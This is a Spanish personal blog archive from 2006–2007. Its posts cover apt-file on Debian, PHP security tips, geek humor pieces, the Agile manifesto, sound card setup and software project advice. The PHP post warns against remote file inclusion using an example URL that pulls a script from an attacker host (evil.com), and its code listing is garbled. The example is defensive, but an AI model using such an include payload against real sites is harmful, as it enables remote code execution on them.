17 abr. 2007
apt-file
A todos nos ha pasado, estamos queriendo compilar algo y recibimos el mensaje:
zeus@olimpo:~/code/eget/all/pam$ make
gcc pamexample.c -o pamexample -lpam -lpam_misc
pamexample.c:12:31: error: security/pam_appl.h: no existe
not found
Es decir me hace falta el archivo pam_appl.h, podemos ir a http://packages.debian.org/ y buscar en el contenido de los paquetes, pero una solución más cómoda es instalar apt-file y buscar el archivo que me hace falta:
$sudo apt-get install apt-file
$sudo apt-file update && echo "<-- aqui se va a tardar porque tiene algo que descargar"
y luego:
zeus@olimpo:~$ apt-file search pam_appl.h
libpam-doc: usr/share/doc/libpam-doc/html/pam_appl.html
libpam0g-dev: usr/include/security/pam_appl.h
lsb-build-base2: usr/include/lsb2/security/pam_appl.h
lsb-build-base3: usr/include/lsb3/security/pam_appl.hapt-file me dice que hay varios paquetes que tienen ese archivo, algo normal en Debian, pero como estoy compilando seguramente el paquete que me falta es libpam0g-dev.
Con apt-file puedo buscar exactamente el archivo que me falta dentro de los paquetes.
Para saber si un paquete contiene el archivo que buscamos usamos la opción show, por ejemplo para saber si suhosin.so está en el paquete php5-dev:
$apt-file show php5-dev | grep suhosin.so
Apt-file is Really cool!
Publicadas por
Erick Bravo
a la/s
11:01 p. m.
0
comentarios
Etiquetas: Debian
Buenas Notas en PHP
1) No uses shortags como: 2) Muchos servicios de hostings aún tienen el Zend_Hash_Del_Key_Or_Index Vulnerability. Combátelo con: Por cierto los switch son mejores que los elseif, sobre todo en un loop, porque los primeros se interrumpen al cumplirse la condición mientras los elseif continua ejecutándose y eso hace más lento a la página.
4: $var = null; ?>
5:
6:= $name ?>
7:
8: Mejor usa:
9:
10: $var = null; ?>
11:
12: echo $name; ?>
13:
De hecho lo menor es deshabilitar los shortags en php.ini
18:
19:// Zend_Hash_Del_Key_Or_Index Vulnerability - We don't use $_REQUEST, so kill it.
20:if (@ini_get('register_globals')) {
21: foreach ( $_REQUEST as $var => $null ) {
22: unset($$var);
23: unset($$var);
24: }
25:}
26:?>
Lo mejor es tener una página dispatcher (despachador) que llame a los archivos y asi focalize la seguridad.
3) Si ese es el caso nunca pongas el nombre del archivo que vas a llamar (include) en el url porque te pueden meter un gol con algo como:
http://server.org/index.php?includeHeader=http://www.evil.com/ya_te_abroche.php
Mejor haz un switch:
36:
37: switch ( $_GET['tmpl'] ) {
38: case 1:
39: include("tmpl/secciones.tmpl.php");
40: break;
41: case 2:
42: include("tmpl/discusiones.tmpl.php");
43: break;
44: default:
45: include("tmpl/menu.tmpl.php");
46: break;
47: }
48:?>
49:
4) Si estas en PHP5 asegúrate de que sólo estás dandole la propiedad public a lo estrictamente necesario, mantén private y protected los atributos y métodos que no se salen de la clase. Muchos programadores ponen public a todo por comodidad de la misma manera que los administradores le ponen 777 al chmod por comodidad.
Publicadas por
Erick Bravo
a la/s
10:38 p. m.
0
comentarios
Etiquetas: PHP
Email de Un Geek Que Deja a su Novia
Es en estos momentos en los que mi vida experimenta terribles fluctuaciones de red, cuando me veo en la obligación de decirte adiós y desinstalarte de mi sistema. Me cuesta mucho, créeme, pues para borrarte de mi disco duro necesitaré mucho más que un par de formateos a bajo nivel.
Desde el primer día que te vi, ya tu versión share dejó huella en mi de lo que adivine como una arquitectura interna realmente interesante y tierna. ¿Por qué lo voy a negar? La belleza de tu interface me dijo desde el primer momento que no encontraría una aplicación como tú, con un diseño externo tan bello y con ese par de... iconos que luces y sobre los que tanto me gusta hacer "click". Y lo mejor de todo es que el acceso a datos era relativamente rápido.
Pero de un tiempo a esta parte te habrás dado cuenta que nuestra interactividad no es lo que era, en todos los aspectos. Hay que admitirlo, utilizamos diferentes protocolos. Y, en fin, hay parejas que arreglan muchas de esas diferencias mediante la compartición de hardware, pero tú por las noches te convertiste en un sistema cerrado que no aceptaba mi login y no pude soportarlo más.
¡Soy un hombre! Nuestra vida en común tenía como punto básico el que me aseguraste ser multitarea: yo traería el dinero y tú cuidarías nuestras homepages, harías la comida y llevarías a cabo la gestión de los recursos del sistema. Esa condición, bonita, era de solo-lectura. Como he podido comprobar, no eres mejor que cualquier beta en ese sentido y no cumples lo que prometes.
¡Yo no soy ninguna demo y pido lo mismo a cambio! Y yo nunca me he quedado colgado a la hora de ir a pagar al host el dinero del alquiler. Si no estabas de acuerdo con los terminos de la licencia, no deberías haber hecho click en 'Acepto'.
Me siento pirateado y crackeado y quiero formatear e instalar desde cero. No niego que hayamos tenido buenas sesiones (con o sin red) pero lo nuestro ha dado un Run time error. Tal vez algún día, si me presentas una versión muy mejorada, podamos volver a intentarlo. Pero hasta entonces, trabajare otros formatos hasta dar con aquel que llene mi caché. Sé que con tu interface no te costará mucho encontrar a un usuario que compre tus derechos. Espero que no te resulte difícil la actualización, y que comprendas la razón de nuestra incompatibilidad.
Publicadas por
Erick Bravo
a la/s
10:27 p. m.
0
comentarios
Etiquetas: Humor
Liberan Codigo Fuente de Win98
#include "Win30.h"
#include "Win31.h"
#include "Win95.h"
#include "AlgoMas.h"
#include "CodigoAntiguo.h"
#include "NormasDeBillGates.h"
#include "CosasDeRelleno.h"
#include "Monopoly.h"
#define INSTALAR TODO_SIN_EXCEPCION_Y_A_LO_BESTIA
#define CASCAR -5483021548692487811456214478252114545621
static char Escritorio[16000000]; /* 16 Mb */
static char Accesorios[8000000]; /* 8 Mb */
static char Explorer4[4000000]; /* 4 Mb */
static char ProgramasDeUsuario[2000000]; /* 2 Mb */
static char MemoriaLibre[2000000]; /* 2 Mb */
int main()
{
while (NoCasque())
{
MostrarMensajeCopyright();
MostrarMensajeNormasBillGates();
DesactivarBotonReset();
BucleParaNoHacerNada();
if (PRIMERA_INSTALACION)
{
while (TamanyoDiscoSwap() < (ESPACIO_PARA_WINDOWS_ENTERITO * 5))
{
Ocupar50MbParaDiscoDeSwap();
BucleParaNoHacerNada();
}
EliminarSistemaDeArchivosHPFS();
EliminarCualquierRastroDeOS2();
DeshabilitarInstalacionDeNetscape();
DeshabilitarInstalacionDeRealPlayer();
if (QuedaAlgunRastroSospechoso())
ColgarSistema();
}
MostrarAlgunaCosaBonitaPeroInutil();
MostrarMensajeCopyrightOtraVez();
BucleParaNoHacerNada();
HacerVerQueHaceAlgo();
if (SigueSinCascar())
{
MostrarMensajeCopyrightOtraVez();
BucleParaNoHacerNada();
EjecutarWin31();
if (AunSigueSinCascar())
EjecutarWin30();
BucleParaNoHacerNada_1();
BucleParaNoHacerNada_2();
BucleParaNoHacerNada_3();
BucleParaNoHacerNada_Etcetera();
}
if (UsuarioNoAceptaWindowsComoAlgoUtil())
goto VETE_A_SABER_DONDE;
if (SeHaDetectadoCache())
DeshabilitarCache();
if (CPU_Rapida())
{
EstablecerEstadosDeEspera(MUCHISIMOS);
EstablecerRaton(VELOCIDAD, MUY_LENTO);
EstablecerRaton(ACCION, DESPLAZARSE_A_SALTOS);
EstablecerRaton(REACCION, A_VECES);
EstablecerTeclado(VELOCIDAD_PARPADEO, MUY_LENTO);
EstablecerTeclado(VELOCIDAD_REPETICION, MUY_LENTO);
}
/* printf("Bienvenido a Windows 3.0"); */
/* printf("Bienvenido a Windows 3.1"); */
/* printf("Bienvenido a Windows 95"); */
printf("Bienvenido a Windows 98");
if (CPU != INTEL)
{
DeshabilitarRaton();
DesconfigurarTeclado();
ColgarSistema(INDICADOR_MSDOS);
}
else
{
MemoriaDeSistema = open("a:\swp0001.swp", O_CREATE);
while (NoHayaSuficienteEspacioEnDisco())
printf("Inserte un nuevo disco en la unidad A:");
}
while (NOS_SALGA_DE_LOS_HUEVOS)
{
sleep(5000);
ObtenerEntradaUsuario();
sleep(5000);
ReaccionarAPeticionUsuario();
}
if (ObtenerNumeroAlAzar() != BINGOOOO)
GenerarErrorDeProteccionGeneral();
/* Fin de bucle principal */
}
/* Finalizar sesión */
if (AunNoHaCascadoDelTodo())
{
if (ObtenerOtroNumeroAlAzar() != BINGOOOO)
{
MandarExplorerALaMierda();
if (HayAlgoAbierto())
{
Accion = MostrarMensaje("¿Desea guardar los datos?");
if (Accion == SI)
GuardarDatos_JAJAJA();
MandarloTodoAlCarajo();
}
}
printf("Windows se está cerrando");
while (HAYA_PRISA)
sleep(5000);
if (UsuarioYaLlegaTardeDondeTeniaQueIr())
printf("Ahora puede apagar el equipo.");
}
return ((int)((long)((float)((double)((re double)CASCAR)))));
}
Publicadas por
Erick Bravo
a la/s
10:26 p. m.
0
comentarios
Etiquetas: Humor
K-perucita en el ciberespacio
Había una vez una usuaria de Internet, llamada K-perucita que estaba con sus amigos chateando en el IRC, canal #bosque.
De pronto le llego un e-mail de su mamá, que le decía:
- Hija, por attachment te mando unos archivos para el documento HTML de tu abuelita. Por favor, haz un FTP a su cuenta y se los pasas para que ella pueda montar su página WWW.Y así, la usuaria, cuyo login name era K-perucita, se dispuso a abrir una ventana, y a FTPearle a su abuelita los archivos que le habían mandado.
Estaba haciendo un download del attachment desde su cuenta WebMail, cuando de pronto le llegó un ICQ message de un usuario, con dirección e-lobo@hacker.bosque.com. K-perucita contestó el ICQ message, E-lobo la saludó y le preguntó dónde iba. K-perucita le contestó:
- Voy a la cuenta de mi abuelita, a FTPearle un software para que monte su página web.Así que E-lobo hizo un telnet por un atajo, y llegó a la cuenta de la abuelita primero.
Cuando la cuenta de la abuelita le pidió login ID, ingresó "k-perucita", crackeó el password y entró. La abuelita, al ver que no era k-perucita, sino otra persona, trató de hacerle un kill al proceso. Pero E-lobo fue más veloz, le hizo un ICMP flood a los ports que el firewall de la abuelita no estaba controlando, y cuando cayó le cambió el password.
Luego se tomó privilegios de ROOT en la máquina, y cambió el sistema operativo por uno distinto, que se parecía en todo, hasta en la interfaz, al de la abuelita.
Entonces se metió en la cuenta de la abuelita, y se hizo pasar por ella. Al rato llegó K-perucita, y cuando entró, notó un poco cambiada la cuenta de su abuelita. Hizo un talk y le preguntó:
- Abuelita, ¿por qué tienes esa quota de disco tan grande?K-perurcita preguntó:
- Es para almacenar mis archivos mejor.
- Abuelita, ¿por qué tienes esa interfaz gráfica tan novedosa?K-perucita sintió que algo raro sucedía ahí:
- Es para administrar mis archivos mejor.
- Abuelita, ¿por qué tienes privilegios de ROOT?K-perucita se dió cuenta de que esa no era su abuelita, y al hacerle un whois descubrió que estaba conectada desde e-lobo@hacker.bosque.com.
- ¡Para CRACKEARTE MEJOR!
Inmediatamente mandó un mail a security@cyberspace.cop.org para delatar al impostor. Éste trató de bloquear su POP3 server haciéndole un overload de memoria, pero K-perucita ya había hecho click en el botón Send.
Al rato se conectó a la máquina uno de los investigadores de cyberspace.cop, que rápidamente obtuvo la dirección IP de E-lobo, le hizo un override a la máquina, se tomó privilegios de ROOT y antes de que E-lobo se diera cuenta, le hizo un kill al proceso y colocó un ban a todo el dominio. Del Trash del sistema operativo de E-lobo, se pudo recuperar la tabla de partición del sistema de la abuelita, por lo que se pudo recuperar toda su información.
La abuelita pudo recuperar su trabajo y subió su página web a un promedio de 10 Kb/seg de transferencia. El site fue admirado por todos en el ciberespacio recibiendo numerosos hits en poco tiempo.
FIN.
Publicadas por
Erick Bravo
a la/s
10:23 p. m.
0
comentarios
Etiquetas: Humor
Manifiesto por el Desarrollo Ágil de Software
Investigando en la web sobre metodologías me consegui con esto, Desarrollo Agíl y lo cual nos lleva al Manifesto for Agile Software Development el cual en español dice algo asi:
Estamos descubriendo mejores maneras de desarrollar software tanto por nuestra propia experiencia como ayudando a terceros. A través de esta experiencia hemos aprendido a valorar:
Individuos e interacciones sobre procesos y herramientas
Software que funciona sobre documentación exhaustiva
Colaboración con el cliente sobre negociación de contratos
Responder ante el cambio sobre seguimiento de un plan
Esto es, aunque los elementos a la derecha tienen valor, nosotros valoramos por encima de ellos los que están a la izquierda.
| Kent Beck Mike Beedle Arie van Bennekum Alistair Cockburn Ward Cunningham Martin Fowler | James Grenning Jim Highsmith Andrew Hunt Ron Jeffries Jon Kern Brian Marick | Robert C. Martin Steve Mellor Ken Schwaber Jeff Sutherland Dave Thomas |
Publicadas por
Erick Bravo
a la/s
3:34 p. m.
0
comentarios
Etiquetas: Desarrollo de Software
26 dic. 2006
Sonido 4.1 y Más
Buenas despues de pelear algo, navegando llegue a esta pagina http://www.milmazz.com/archivos/2006/09/20/audigy-se-en-etch-amd64/
donde el amigo tambien dios sus tumbos pero consiguio e interpreto muy bien la informacion. al igual que el debian me detectaba la tarjeta una sound blaster audigy ls (chip snd-ca0106) primero no habia nada de audio, revise el alsamixer y estaba todo off, los active y solo sonaba los frontales y el bajo, faltaban los traseros para lo cual el amigo dio exacto en el clavo.
cito el articulo
Hace días me hice con una tarjeta de sonido Audigy SE de la marca Creative y la verdad tuve que dar bastante golpes para dar con la configuración correcta. ¿Cómo lo logré? Muy fácil: Googleando .
Resulta que el sistema (Debian, of course) reconoce bien el dispositivo y carga de manera perfecta los módulos necesarios; de hecho el alsa-mixer me mostraba todos los canales de la tarjeta pero el único que parecía funcionar era el Analog Front y los otros parecían estar muertos. Casi daño el mouse de tando hacer clicks y darle hacia arriba y hacia abajo . No podía creer que no funcionara!.
Googleando llegué a la página de la gente de Alsa y me encontré una manera de configurar los drivers. Ahi confirmé que el sistema me estaba cargando el módulo correcto, el snd-ca0106. Entonces, después de ver la pequeña lista de instrucciones, no voy a decir que me espanté y maldije a Creative, no, no lo hice, en ése momento miré al cielo y pregunté: ¡¿Acaso no existe una manera más fácil de lograr que suenen la benditas cornetas?! y la respuesta a mi pregunta vino del wiki de Gentoo, ¿qué cosas no? imagínense todo lo que googleé; bueno específicamente de la sección que dice VIA Envy24HT (ice1724) chip. Ahora se preguntarán.. ¿VIA? éste tipo está loco…. pues sí, VIA. ¿Y qué fué lo que hice? Abrí una terminal e hice lo siguiente:
$ gedit .asoundrc
Luego lo que hice fué copiar el contenido del segundo .asoundrc y pegarlo al mío, luego guardar los cambios y voilá, sistema de sonido 5.1 andando . Se preguntarán ¿Cómo hizo éste loco para saber que ese .asoundrc funciona con la Audigy SE?, bueno, con el proceso estándar, prueba error. Copiando y pegando cada uno de los ficheros.
Ahora que el sistema suena perfectamente bien me ha surgido una nueva interrogante, debido a que para poder graduar el volumen del sistema tengo que graduar los tres controles, y la pregunta es: ¿Habrá alguna forma de graduar el volumen para los tres controles al mismo tiempo? Que lo disfruten…
tomado de http://www.milmazz.com/archivos/2006/09/20/audigy-se-en-etch-amd64/
Publicadas por
Erick Bravo
a la/s
9:48 p. m.
0
comentarios
Etiquetas: Debian
3 dic. 2006
12 preguntas de Joel sobre la calidad de tu Proyecto de Software
The Joel Test
- Do you use source control? (Utilizas control de versiones - a.k.a subversion, CVS)
- Can you make a build in one step? (Puedes construir/compilar en un solo paso)
- Do you make daily builds? (Haces builds diarios?)
- Do you have a bug database? (Tienes una base de datos de bugs? e.g. Bugzilla)
- Do you fix bugs before writing new code? (Reparas los bugs antes de escribir codigo nuevo)
- Do you have an up-to-date schedule? (Tu proyecto esta al dia con lo planeado?)
- Do you have a spec? (Tienes una especificacion formal?)
- Do programmers have quiet working conditions? (Tus programadores tienen un lugar tranquilo y silencioso donde trabajan)
- Do you use the best tools money can buy? (utilizas las mejores herramientas que el dinero puede comprar?)
- Do you have testers? (Tienes Testers? - Es super recomendable tener alguien experto en QA [quality assurance, que sepa escribir Unit Tests, Regression Tests, Stress Tests, etc])
- Do new candidates write code during their interview? (Los nuevos candidatos a programar en tu proyecto escriben codigo durante su entrevista de empleo?)
- Do you do hallway usability testing? (Haces prueba de usabilidad de pasillo? Es decir agarrar cualquier persona no relacionada al proyecto al azar que vaya pasando y forzarla a utilizar tu sistema)
Si tienes 12, perfecto
Si tienes 11, aceptable
Menos de 10, estas en problemas.
Publicadas por
Erick Bravo
a la/s
4:47 p. m.
0
comentarios
Etiquetas: Desarrollo de Software
Los 10 Mandamientos para Realizar un Proyecto de Software
Los diez mandamientos para realizar un proyecto de forma feliz y eficiente:
1. No propondrás objetivos ambiciosos y vagos
Nada es peor que un proyecto sin fin al que se le invierten semanas y semanas pero nunca se avanza. Muchas veces es porque al cliente se le prometieron las perlas de la virgen, es fácil caer en la irrealidad cuando uno se entusiasma haciendo una presentación en OpenOffice. Manten unos objetivos reales, útiles y bien definidos.
2. No manejarás equipos innecesariamente grandes
Los equipos grandes son más dificles de manejar y mantener motivados. Asegúrate de no tener equipos donde hay miembros de más.
3. Coordinaras gente de tiempo completo
Algunos proyectos no-urgentes son pequeños o su evolución se proyecta tan larga que los jefes deciden ponerlos en "background" para irlos realizando "cuando haya tiempo". Evite hacer esto: nadie toma en serio ni se interesa en un proyecto de tiempos libres.
4. Armarás equipos para evaluaciones periódicas
Los paneles de evaluación no sólo señalan carencias y amenazas al proyecto sino que le dan seguimiento a cada uno de estos aspectos.
5. No quemarás a tu equipo
Generalmente cuando se inicia un proyecto los miembros llegan frescos y descansados pues han pasado algunos días desde la última entrega. Esto hace que los proyectos inicien a un gran ritmo y luego de un mes desciendan a su ritmo de producción normal.
No obstante muchos jefes creen que este descenso es un síntoma de ineficiencia y presionan mas al equipo agotándolo física y mentalmente en un par de meses. Cuado el equipo está quemado su eficiencia está cerca del cero.
6. Tendrás ya investigada la asistencia externa
7. Reconocerás el ritmo de tu equipo
El agotamiento mental y físico es un factor que muchos no consideran al momento de calendarizar un proyecto. Hay equipos que trabajan bien ocho horas al día durante cinco semanas pero luego necesitan días de descanso. Otros equipos pueden ser eficientes de manera constante trabajando seis horas al día. Descubre el ritmo de trabajo de tu equipo, los ciclos trabajo-descanso son muy importantes en los equipos de trabajo.
8. Usarás herramientas de manejo de proyectos
No sé cuantas veces he recomendado a los líderes de proyecto que instalen y aprenda a usar PHProjekt, incluso se los he instalado pero por alguna razón en México las herramientas de control de proyectos se consideran inútiles o superfluas. Tener concentrados la documentación, los contactos, los TO-DO y los calendarios en un sólo programa es fundamental.
9. Reconocerás el éxito
Si alguien hizo algo bien reconocelo públicamente. Si los miembros del equipo trabajan bien se les puede premiar enviandolos a casa temprano o dandoles un lunes libre.
10. No tolerarás trabajo hecho "al aventón"
Tomado de http://www.mononeurona.org/index.php?idnew=759
Publicadas por
Erick Bravo
a la/s
4:35 p. m.
0
comentarios
Etiquetas: Desarrollo de Software

